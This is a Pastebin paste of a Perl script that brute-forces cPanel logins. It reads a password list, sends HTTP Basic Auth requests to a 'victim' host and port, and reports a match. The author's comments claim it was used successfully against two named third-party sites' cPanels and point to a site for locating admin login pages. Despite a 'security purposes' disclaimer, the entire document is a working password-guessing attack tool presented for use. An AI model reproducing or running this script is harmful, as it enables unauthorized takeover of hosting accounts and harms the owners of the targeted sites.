Advertisement
1337ings

[Perl] Cpanel Bruteforcer

Jul 30th, 2016
872
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.81 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # [Perl] Cpanel Bruteforcer
  3. # Perl Version
  4. #Usage : cpanel.pl [HOST] [User] [PORT] [list] [File]
  5. #All rights goes to Chris Poole, This was made for the intent of security purposes, It's been tested and successfully bruteforced Stresser.in & 1337hacking.li cpanels, I'd recommend iphostinfo.com to find the mail servers, cpanel's, admin login's etc, I'm sorry for making this in perl & args, Ill make a python version as soon as i can! -Chris Poole
  6. use IO::Socket;
  7. use LWP::Simple;
  8. use MIME::Base64;
  9.  
  10. $host = $ARGV[0];
  11. $user = $ARGV[1];
  12. $port = $ARGV[2];
  13. $list = $ARGV[3];
  14. $file = $ARGV[4];
  15. $url = "http://".$host.":".$port;
  16. if(@ARGV < 3){
  17. print q(
  18. ## ##
  19. # [Perl] Cpanel Bruteforcer #
  20. ## ##
  21. # usage : cpanel.pl [HOST] [User] [PORT][list] [File] #
  22. #--#
  23. # [Host] : victim Host (google.com) #
  24. # [User] : User Name (admin/root/administrator) #
  25. # [PORT] : Port of Cpanel (2082) #
  26. # [list] : File Of password list (list.txt) #
  27. # [File] : file for save password (password.txt) #
  28. );exit;}
  29.  
  30. headx();
  31.  
  32. $numstart = "-1";
  33.  
  34. sub headx() {
  35. print q(
  36. ## ##
  37. # [Perl] Cpanel Bruteforcer #
  38. ## ##
  39. );
  40. open (PASSFILE, "<$list") || die "[-] Can't open password list! Please rename the file to 'list.txt'";
  41. @PASSWORDS = <PASSFILE>;
  42. close PASSFILE;
  43. foreach my $P (@PASSWORDS) {
  44. chomp $P;
  45. $passwd = $P;
  46. print "\n [~] Try Password : $passwd \n";
  47. &brut;
  48. };
  49. }
  50. sub brut() {
  51. $authx = encode_base64($user.":".$passwd);
  52. print $authx;
  53. my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host";
  54. print $sock "GET / HTTP/1.1\n";
  55. print $sock "Authorization: Basic $authx\n";
  56. print $sock "Connection: Close\n\n";
  57. read $sock, $answer, 128;
  58. close($sock);
  59.  
  60. if ($answer =~ /Moved/) {
  61. print "\n [~] PASSWORD FOUND : $passwd \n";
  62. exit();
  63. }
  64. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement